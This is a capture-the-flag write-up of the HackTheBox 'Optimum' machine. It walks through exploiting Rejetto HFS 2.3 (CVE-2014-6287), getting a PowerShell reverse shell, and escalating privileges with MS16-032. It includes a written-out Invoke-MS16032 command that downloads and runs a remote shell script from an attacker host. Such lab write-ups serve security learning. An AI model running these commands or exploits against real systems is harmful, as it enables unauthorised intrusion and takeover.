> For the complete documentation index, see [llms.txt](https://akshaydeepakshinde.gitbook.io/hackthebox-windows/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://akshaydeepakshinde.gitbook.io/hackthebox-windows/hackthebox-optimum.md).

# HackTheBox - Optimum

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYEz0XG-1ic3xVGYWGa%2Fimage.png?alt=media\&token=80005bf5-8a53-4c71-bb47-f3f19b2a8e06)

### Nmap scan (Basic and all port)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYEzMunNNe7tjR8v0so%2Fimage.png?alt=media\&token=08a9d7dc-aaa1-4871-aaf5-c2c9b3218ffc)

All port scan gave us the same results, so our main intention is to lookout at port 80 (HTTP Server)

### Website Surface Testing

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYEziLI_dDgiobZBXLv%2Fimage.png?alt=media\&token=9ca23e75-d54f-4273-813c-fd603d43e7b6)

Looks like the website is running Rejetto HTTP File Server. There was a known vulnerability for this specific version. Version Running: `HttpFileServer 2.3`

We can use searchsploit or can even use google to checkout the vulnerability.

### CVE-2014-6287 (Exploit)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYF-Dtzq3FtJBN5CFMt%2Fimage.png?alt=media\&token=ac7591fa-e8ee-4544-b057-e935c75e9375)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYF-4IcDs0b4GealYFd%2Fimage.png?alt=media\&token=63a23ff0-1051-4b48-97bf-e883e32e5f03)

{% hint style="info" %}
From rejetto wiki. Also known as template macros, these are commands with some useful effects that users can input in **HFS** to improve a template or to create functionality not otherwise available.
{% endhint %}

```
References: 
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287
https://www.exploit-db.com/exploits/39161
```

### Manual Exploitation

The search parameter is vulnerable and we can write HFS script to get Remote Code Execution.

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFPFn41C-XdypvEliP%2Fimage.png?alt=media\&token=b635a21b-0f56-4ed2-816b-8ac210fa9dd6)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFPL0fi_DUTPeo260h%2Fimage.png?alt=media\&token=980bd5dc-5d09-4146-8e76-377f23eeb20a)

We get a ping request back, that means we can have RCE. Let's try to get a reverse shell using powershell. We will use nishang's `Invoke-PowershellTCP.ps1` script to get a connection back.

Github link: <https://github.com/samratashok/nishang/tree/master/Shells>

{% hint style="info" %}
Note : Make sure to URL encode the payload.
{% endhint %}

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFQJEpz_CVHwrDmJuL%2Fimage.png?alt=media\&token=a60dbd40-6c72-4cd0-9cd7-5af413b3c861)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFQSZSoRd7y7-jn_TZ%2Fimage.png?alt=media\&token=d22cc7f4-65f9-4ef7-8071-9683493b8d3a)

### Running Sherlock.ps1 (By Rastamouse)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFRXSeqkLzwjYpb_jq%2Fimage.png?alt=media\&token=15496344-6e95-4c1d-b885-257deae54184)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFRw8Xg5c8IsmAbYtg%2Fimage.png?alt=media\&token=b16e3d07-3568-47db-9c48-42823310f36d)

Github Link : <https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1>

So the system looks vulnerable to MS16-032 Secondary Logon Handle Privilege Escalation. We can get the script from exploit.db but Empire already has a modified script and we can use that.

### MS16-032 Exploitation (Secondary Logon Handle Privilege Escalation)

Add the following line of code at the end of MS16-032 script and edit it according to your need.

```
Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5:8000/shell2.ps1')" 
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFSssgFqFXaa4leAyF%2Fimage.png?alt=media\&token=1fa1c55f-e2b5-49ee-97e7-a63f96c744e1)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFTMU-Rv9B9Fv5BVpo%2Fimage.png?alt=media\&token=a7dba4d9-aacf-45b1-a8ea-6a87758122d9)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MYEycEkProd0N-ffZeU%2F-MYFTPqw1JIXwpxyh8Su%2Fimage.png?alt=media\&token=f8ed74d8-3732-4104-82be-abab8e12aa34)